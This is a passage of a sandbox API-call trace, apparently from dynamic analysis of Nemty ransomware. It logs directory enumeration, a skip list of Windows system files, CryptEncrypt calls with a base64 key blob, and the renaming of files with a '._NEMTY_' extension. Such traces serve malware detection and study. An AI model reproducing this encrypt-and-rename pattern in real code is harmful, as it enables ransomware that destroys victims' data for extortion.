lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.332] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.341] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.341] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.341] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.341] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.351] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.351] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.351] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.351] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.360] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.360] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.360] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.360] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.366] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.366] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.366] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.366] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.372] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.372] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.372] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.372] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.372] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0062.372] CloseHandle (hObject=0xffffffff) returned 0 [0062.372] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0062.372] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0062.373] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0062.373] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0062.373] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0062.373] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0062.373] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0062.373] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x4f94328 [0062.373] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0062.373] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0062.373] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotsdarkoverlay.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotsdarkoverlay.png._nemty_kgobjgd_")) returned 0 [0062.373] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0062.373] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0062.373] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0062.373] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0062.373] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0062.373] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0062.373] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0062.373] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0062.373] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0062.373] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0062.373] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f20ba7c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f20ba7c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x123d, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="dotslightoverlay.png", cAlternateFileName="")) returned 1 [0062.373] lstrcmpiW (lpString1="dotslightoverlay.png", lpString2=".") returned 1 [0062.373] lstrcmpiW (lpString1="dotslightoverlay.png", lpString2="..") returned 1 [0062.373] lstrcmpiW (lpString1="dotslightoverlay.png", lpString2="...") returned 1 [0062.373] lstrcmpiW (lpString1="dotslightoverlay.png", lpString2="windows") returned -1 [0062.373] lstrcmpiW (lpString1="dotslightoverlay.png", lpString2="$RECYCLE.BIN") returned 1 [0062.373] lstrcmpiW (lpString1="dotslightoverlay.png", lpString2="rsa") returned -1 [0062.373] lstrcmpiW (lpString1="dotslightoverlay.png", lpString2="NTDETECT.COM") returned -1 [0062.373] lstrcmpiW (lpString1="dotslightoverlay.png", lpString2="ntldr") returned -1 [0062.373] lstrcmpiW (lpString1="dotslightoverlay.png", lpString2="MSDOS.SYS") returned -1 [0062.373] lstrcmpiW (lpString1="dotslightoverlay.png", lpString2="IO.SYS") returned -1 [0062.373] lstrcmpiW (lpString1="dotslightoverlay.png", lpString2="boot.ini") returned 1 [0062.373] lstrcmpiW (lpString1="dotslightoverlay.png", lpString2="boot.ini") returned 1 [0062.374] lstrcmpiW (lpString1="dotslightoverlay.png", lpString2="AUTOEXEC.BAT") returned 1 [0062.374] lstrcmpiW (lpString1="dotslightoverlay.png", lpString2="ntuser.dat") returned -1 [0062.374] lstrcmpiW (lpString1="dotslightoverlay.png", lpString2="desktop.ini") returned 1 [0062.374] lstrcmpiW (lpString1="dotslightoverlay.png", lpString2="CONFIG.SYS") returned 1 [0062.374] lstrcmpiW (lpString1="dotslightoverlay.png", lpString2="RECYCLER") returned -1 [0062.374] lstrcmpiW (lpString1="dotslightoverlay.png", lpString2="BOOTSECT.BAK") returned 1 [0062.374] lstrcmpiW (lpString1="dotslightoverlay.png", lpString2="bootmgr") returned 1 [0062.374] lstrcmpiW (lpString1="dotslightoverlay.png", lpString2="programdata") returned -1 [0062.374] lstrcmpiW (lpString1="dotslightoverlay.png", lpString2="appdata") returned 1 [0062.374] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0062.374] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dotslightoverlay.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0062.374] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0062.374] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dotslightoverlay.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dotslightoverlay.png", lpUsedDefaultChar=0x0) returned 20 [0062.374] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0062.374] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0062.374] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dotslightoverlay.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0062.374] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0062.374] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dotslightoverlay.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dotslightoverlay.png", lpUsedDefaultChar=0x0) returned 20 [0062.374] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0062.374] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0062.374] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0062.374] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0062.374] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dotslightoverlay.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0062.374] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0062.374] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dotslightoverlay.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dotslightoverlay.png", lpUsedDefaultChar=0x0) returned 20 [0062.374] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0062.374] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0062.374] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dotslightoverlay.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0062.374] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0062.374] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dotslightoverlay.png", cchWideChar=20, lpMultiByteStr=0x4f9ed58, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dotslightoverlay.png", lpUsedDefaultChar=0x0) returned 20 [0062.374] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0062.374] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0062.374] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0062.374] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0062.374] Sleep (dwMilliseconds=0x5) [0062.382] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd8d45f50, dwHighDateTime=0x1d561e7)) [0062.382] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd8d45f50, dwHighDateTime=0x1d561e7)) [0062.382] GetLastError () returned 0x5 [0062.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0062.382] GetLastError () returned 0x5 [0062.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0062.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0062.383] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0062.383] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0062.383] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0062.383] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0062.383] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0062.383] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="3XRHAWZng0cuxz+lazejI/VLVKSTqk0qPpZVDs24d+SCD0jsUjHLU5TkHGl9OQoj\r\nB+t7R3lE95R9GFb9lHuW4ez/iNdpJcwZdEAW747bT7ahIcuXbOmU8YEbwPaue0tK\r\nsuDKJuyBXJvPnrO+gVhkMfzDUt6qr32TZ7OVhC8TgKzff8UO4X1+5SZwBpxAuN/9\r\nFJjTPx9LGiX+ZZaFdVmKGkiDRH08G9E6TrF4H7RaEwDrkoQ7OKKsofI15e6FhZP4\r\n3inABz7DqF1mCI+1SpuzuSYlYFkylVLP39ZDm2XNOsWIwZTU6xiulYRrmy4gSsOe\r\n8FqQPmiVRicHYhJysdDJNg==\r\n", pcchString=0x653e91c) returned 1 [0062.383] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0062.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0062.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0062.383] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0062.383] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0062.383] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0062.383] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotslightoverlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0062.383] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0062.383] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0062.383] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.383] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.393] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.393] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.393] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.393] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.402] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.402] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.402] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.402] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.411] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.411] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.411] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.411] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.421] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.421] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.421] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.421] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.430] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.430] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.430] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.430] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.439] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.439] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.440] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.440] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.449] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.449] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.449] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.449] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.458] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.458] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.458] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.458] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.469] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.469] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.469] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.469] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.479] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.479] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.479] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, 